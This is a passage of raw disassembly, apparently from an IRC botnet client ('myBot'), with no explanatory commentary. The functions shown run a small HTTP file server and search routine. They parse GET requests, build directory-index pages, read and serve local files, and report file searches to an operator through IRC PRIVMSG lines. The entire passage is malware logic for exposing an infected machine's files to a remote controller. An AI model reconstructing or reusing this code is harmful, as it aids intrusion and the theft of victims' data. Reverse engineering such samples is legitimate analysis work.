		pop	ecx
		lea	esi, [ebp+var_128]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_43C53C
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E57
		xor	edi, edi
		mov	[ebp+arg_0], edi


loc_405BA3:				; CODE XREF: sub_405A96+3B6j
		lea	eax, [ebp+var_6F0]
		push	eax
		push	edi
		call	dword_43C44C
		test	eax, eax
		jz	loc_405E42
		cmp	edi, [ebp+var_8]
		jnz	short loc_405C24
		lea	eax, [ebp+var_C]
		mov	[ebp+var_C], 10h
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		push	[ebp+var_8]
		call	dword_43C5E8
		cmp	eax, 0FFFFFFFFh
		jz	loc_405E42
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405BF6


loc_405BE8:				; CODE XREF: sub_405A96+15Ej
		cmp	[ebp+ecx*4+var_124], eax
		jz	short loc_405BF6
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_405BE8


loc_405BF6:				; CODE XREF: sub_405A96+150j
					; sub_405A96+159j
		cmp	ecx, ebx
		jnz	short loc_405C13
		cmp	ebx, 40h
		jnb	short loc_405C13
		mov	[ebp+ecx*4+var_124], eax
		mov	ebx, [ebp+var_128]
		inc	ebx
		mov	[ebp+var_128], ebx


loc_405C13:				; CODE XREF: sub_405A96+162j
					; sub_405A96+167j
		cmp	eax, [ebp+var_4]
		jbe	loc_405E42
		mov	[ebp+var_4], eax
		jmp	loc_405E42
; ---------------------------------------------------------------------------


loc_405C24:				; CODE XREF: sub_405A96+126j
		mov	esi, 1000h
		lea	eax, [ebp+var_28F0]
		push	esi
		push	0
		push	eax
		call	sub_415390
		push	esi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415390
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	esi
		push	eax
		push	edi
		call	dword_43C56C
		test	eax, eax
		jg	short loc_405CAB
		push	edi
		call	dword_43C5EC
		xor	eax, eax
		test	ebx, ebx
		jbe	loc_405E42


loc_405C70:				; CODE XREF: sub_405A96+1E6j
		cmp	[ebp+eax*4+var_124], edi
		jz	short loc_405C98
		inc	eax
		cmp	eax, ebx
		jb	short loc_405C70
		jmp	loc_405E42
; ---------------------------------------------------------------------------


loc_405C83:				; CODE XREF: sub_405A96+207j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax


loc_405C98:				; CODE XREF: sub_405A96+1E1j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_405C83
		dec	ebx
		mov	[ebp+var_128], ebx
		jmp	loc_405E42
; ---------------------------------------------------------------------------


loc_405CAB:				; CODE XREF: sub_405A96+1C7j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_415390
		lea	eax, [ebp+var_28F0]
		xor	edi, edi
		push	eax
		call	sub_415B10
		add	esp, 10h
		test	eax, eax
		jbe	loc_405E42


loc_405CD8:				; CODE XREF: sub_405A96+2F9j
		mov	al, [ebp+edi+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405D7E
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_4158E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405D4E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_415B10
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405D4E
		mov	eax, offset asc_426A34 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_4158E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4158E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416B3F
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415A20
		add	esp, 10h
		jmp	short loc_405D65
; ---------------------------------------------------------------------------


loc_405D4E:				; CODE XREF: sub_405A96+26Ej
					; sub_405A96+280j
		lea	eax, [ebp+var_18F0]
		push	offset asc_426A30 ; "\r\n"
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405D9A


loc_405D65:				; CODE XREF: sub_405A96+2B6j
		push	1000h
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415390
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_405D7E:				; CODE XREF: sub_405A96+252j
		lea	eax, [ebp+var_28F0]
		inc	edi
		push	eax
		inc	esi
		call	sub_415B10
		cmp	edi, eax
		pop	ecx
		jb	loc_405CD8
		jmp	loc_405E42
; ---------------------------------------------------------------------------


loc_405D9A:				; CODE XREF: sub_405A96+2CDj
		xor	eax, eax
		test	ebx, ebx
		jbe	short loc_405DD6


loc_405DA0:				; CODE XREF: sub_405A96+319j
		mov	ecx, [ebp+eax*4+var_124]
		cmp	ecx, [ebp+arg_0]
		jz	short loc_405DC8
		inc	eax
		cmp	eax, ebx
		jb	short loc_405DA0
		jmp	short loc_405DD6
; ---------------------------------------------------------------------------


loc_405DB3:				; CODE XREF: sub_405A96+337j
		mov	ecx, [ebp+eax*4+var_120]
		mov	[ebp+eax*4+var_124], ecx
		mov	ebx, [ebp+var_128]
		inc	eax


loc_405DC8:				; CODE XREF: sub_405A96+314j
		lea	ecx, [ebx-1]
		cmp	eax, ecx
		jb	short loc_405DB3
		dec	ebx
		mov	[ebp+var_128], ebx


loc_405DD6:				; CODE XREF: sub_405A96+308j
					; sub_405A96+31Bj
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_415B10
		mov	esi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415B10
		add	esi, eax
		pop	ecx
		cmp	esi, 104h
		pop	ecx
		jnb	short loc_405E39
		and	[ebp+var_10], 0
		lea	eax, [ebp+var_10]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_43C5F0
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	[ebp+arg_0]
		call	sub_406048
		add	esp, 14h
		jmp	short loc_405E42
; ---------------------------------------------------------------------------


loc_405E39:				; CODE XREF: sub_405A96+364j
		push	[ebp+arg_0]
		call	dword_43C5EC


loc_405E42:				; CODE XREF: sub_405A96+11Dj
					; sub_405A96+146j ...
		mov	edi, [ebp+arg_0]
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jbe	loc_405BA3
		jmp	loc_405B6D
; ---------------------------------------------------------------------------


loc_405E57:				; CODE XREF: sub_405A96+102j
		mov	edi, [ebp+var_8]
		xor	ebx, ebx


loc_405E5C:				; CODE XREF: sub_405A96+6Aj
					; sub_405A96+92j ...
		call	dword_43C4E8
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4269E8
		push	eax
		call	sub_415316
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405EA2
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_412BD1
		add	esp, 14h


loc_405EA2:				; CODE XREF: sub_405A96+3E7j
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40B078
		pop	ecx
		push	edi
		call	dword_43C5EC
		push	[ebp+var_254]
		call	sub_4150F0
		pop	ecx
		push	ebx
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_405A96	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405ECC	proc near		; DATA XREF: sub_406048+245o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_415B90
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_415316
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		lea	eax, [ebp+var_9C]
		jz	short loc_405F37
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405F3C
; ---------------------------------------------------------------------------


loc_405F37:				; CODE XREF: sub_405ECC+62j
		push	offset aApplicationOct ; "application/octet-stream"


loc_405F3C:				; CODE XREF: sub_405ECC+69j
		push	eax
		call	sub_415316
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	dword_421084	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	dword_421080	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_9C]
		jnz	short loc_405FAF
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_415316
		add	esp, 24h
		jmp	short loc_405FCA
; ---------------------------------------------------------------------------


loc_405FAF:				; CODE XREF: sub_405ECC+CAj
		push	[ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_415316
		add	esp, 28h


loc_405FCA:				; CODE XREF: sub_405ECC+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_43C5A4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40600A
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406978
		pop	ecx
		pop	ecx
		jmp	short loc_406027
; ---------------------------------------------------------------------------


loc_40600A:				; CODE XREF: sub_405ECC+126j
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4062F7
		add	esp, 10h


loc_406027:				; CODE XREF: sub_405ECC+13Cj
		push	[ebp+var_44C]
		call	dword_43C5EC
		push	[ebp+var_B4]
		call	sub_4150F0
		pop	ecx
		push	edi
		call	dword_421048	; ExitThread
		pop	edi
		pop	esi
sub_405ECC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406048	proc near		; CODE XREF: sub_405A96+399p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415390
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		push	eax
		jz	short loc_40607E
		push	offset aS_2	; "\\%s"
		jmp	short loc_406086
; ---------------------------------------------------------------------------


loc_40607E:				; CODE XREF: sub_406048+2Dj
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_406086:				; CODE XREF: sub_406048+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_415316
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_415B10
		test	eax, eax
		pop	ecx
		jbe	short loc_406121
		mov	[ebp+arg_8], 2


loc_4060B1:				; CODE XREF: sub_406048+D7j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_415B10
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_4060F1
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_4060F1
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_4060F1
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_4060F1
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40610B
; ---------------------------------------------------------------------------


loc_4060F1:				; CODE XREF: sub_406048+79j
					; sub_406048+83j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_406101
		push	5Ch
		pop	eax
		jmp	short loc_406104
; ---------------------------------------------------------------------------


loc_406101:				; CODE XREF: sub_406048+B2j
		movsx	eax, al


loc_406104:				; CODE XREF: sub_406048+B7j
		mov	[ebp+ebx+var_210], al


loc_40610B:				; CODE XREF: sub_406048+A7j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_415B10
		cmp	esi, eax
		pop	ecx
		jb	short loc_4060B1


loc_406121:				; CODE XREF: sub_406048+60j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_314]
		push	offset asc_426CF0 ; "\n"
		push	eax
		call	sub_416B3F
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	dword_421094	; GetFileAttributesA
		xor	esi, esi
		inc	esi
		cmp	eax, 10h
		jz	short loc_40616F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406172
		push	[ebp+arg_0]
		jmp	short loc_4061EE
; ---------------------------------------------------------------------------


loc_40616F:				; CODE XREF: sub_406048+11Bj
		mov	[ebp+var_4], esi


loc_406172:				; CODE XREF: sub_406048+120j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40617F
		mov	[ebp+var_4], esi


loc_40617F:				; CODE XREF: sub_406048+132j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_4061F9
		cmp	[ebp+arg_C], edi
		jz	short loc_4061ED
		lea	eax, [ebp+var_314]
		push	offset asc_426CEC ; "*"
		push	eax
		call	sub_415A30
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406A35
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_415316
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_406248
; ---------------------------------------------------------------------------


loc_4061ED:				; CODE XREF: sub_406048+14Ej
		push	ebx


loc_4061EE:				; CODE XREF: sub_406048+125j
		call	dword_43C5EC
		jmp	loc_4062DE
; ---------------------------------------------------------------------------


loc_4061F9:				; CODE XREF: sub_406048+149j
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	dword_421078	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_406248
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_415316
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	dword_421090	; GetFileSize
		push	esi
		mov	[ebp+var_330], eax
		call	dword_42106C	; CloseHandle


loc_406248:				; CODE XREF: sub_406048+1A3j
					; sub_406048+1CEj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_426CA8
		push	eax
		call	sub_415316
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_414DDA
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_4416CC[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405ECC
		push	edi
		push	edi
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4416DC[ecx], eax
		jnz	short loc_4062ED
		push	ebx
		call	dword_43C5EC
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_426C58
		push	eax
		call	sub_415316
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40B078
		add	esp, 10h


loc_4062DE:				; CODE XREF: sub_406048+1ACj
					; sub_406048+2ADj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4062E5:				; CODE XREF: sub_406048+2ABj
		push	5
		call	dword_421060	; Sleep


loc_4062ED:				; CODE XREF: sub_406048+266j
		cmp	[ebp+var_318], edi
		jz	short loc_4062E5
		jmp	short loc_4062DE
sub_406048	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4062F7	proc near		; CODE XREF: sub_405ECC+153p
					; sub_40CD3A+4602p

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_415390
		mov	edi, [ebp+arg_0]
		push	offset asc_426CF0 ; "\n"
		push	edi
		call	sub_416B3F
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		push	edi
		jz	short loc_406356
		push	[ebp+arg_8]
		mov	esi, 200h
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 14h
		jmp	loc_406452
; ---------------------------------------------------------------------------


loc_406356:				; CODE XREF: sub_4062F7+3Bj
		cmp	[ebp+arg_C], ebx
		jz	loc_406438
		call	sub_415B10
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43C5A4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43C5A4
		push	edi
		call	sub_415B10
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43C5A4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 0Ch
		jmp	short loc_406452
; ---------------------------------------------------------------------------


loc_406438:				; CODE XREF: sub_4062F7+62j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 10h


loc_406452:				; CODE XREF: sub_4062F7+5Aj
					; sub_4062F7+13Fj
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43C5A4
		cmp	[ebp+arg_C], ebx
		jz	short loc_4064EA
		push	[ebp+arg_C]
		call	sub_415B10
		cmp	eax, 2
		pop	ecx
		jbe	short loc_4064EA
		push	[ebp+arg_C]
		call	sub_415B10
		sub	eax, 3
		pop	ecx
		jz	short loc_40649E


loc_406492:				; CODE XREF: sub_4062F7+1A5j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40649E
		dec	eax
		jnz	short loc_406492


loc_40649E:				; CODE XREF: sub_4062F7+199j
					; sub_4062F7+1A2j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_416BE0
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43C5A4


loc_4064EA:				; CODE XREF: sub_4062F7+17Dj
					; sub_4062F7+18Bj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	dword_4210A8	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	dword_4210A4	; FindNextFileA
		test	eax, eax
		jz	loc_4068E1
		mov	edi, 1FFh


loc_406516:				; CODE XREF: sub_4062F7+5E4j
		cmp	[ebp+var_388], ebx
		jz	loc_4068C9
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4068C9
		lea	eax, [ebp+var_35C]
		push	offset a__1	; "."
		push	eax
		call	sub_415730
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4068C9
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	dword_4210A0	; FileTimeToLocalFileTime
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_42109C	; FileTimeToSystemTime
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	loc_406613
		mov	ecx, offset aAm	; "AM"
		movzx	eax, ax


loc_406592:				; CODE XREF: sub_4062F7+322j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_415316
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40674A
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40661E
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41588A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 28h
		jmp	loc_40689A
; ---------------------------------------------------------------------------


loc_406613:				; CODE XREF: sub_4062F7+28Dj
		movzx	eax, ax
		sub	eax, 0Ch
		jmp	loc_406592
; ---------------------------------------------------------------------------


loc_40661E:				; CODE XREF: sub_4062F7+2D5j
		cmp	[ebp+arg_C], ebx
		jz	loc_406708
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43C5A4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43C5A4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_415B10
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		jbe	short loc_4066C4
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_4066C9
; ---------------------------------------------------------------------------


loc_4066C4:				; CODE XREF: sub_4062F7+3C4j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_4066C9:				; CODE XREF: sub_4062F7+3CBj
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_43C5A4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40688B
; ---------------------------------------------------------------------------


loc_406708:				; CODE XREF: sub_4062F7+32Aj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41588A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_406735:				; CODE XREF: sub_4062F7+47Bj
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41588A
		add	esp, 24h
		jmp	loc_40689A
; ---------------------------------------------------------------------------


loc_40674A:				; CODE XREF: sub_4062F7+2C9j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_406774
		push	ebx
		push	[ebp+var_368]
		call	sub_40C10D
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_406735
; ---------------------------------------------------------------------------


loc_406774:				; CODE XREF: sub_4062F7+459j
		cmp	[ebp+arg_C], ebx
		jz	loc_406874
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41588A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_415B10
		pop	ecx
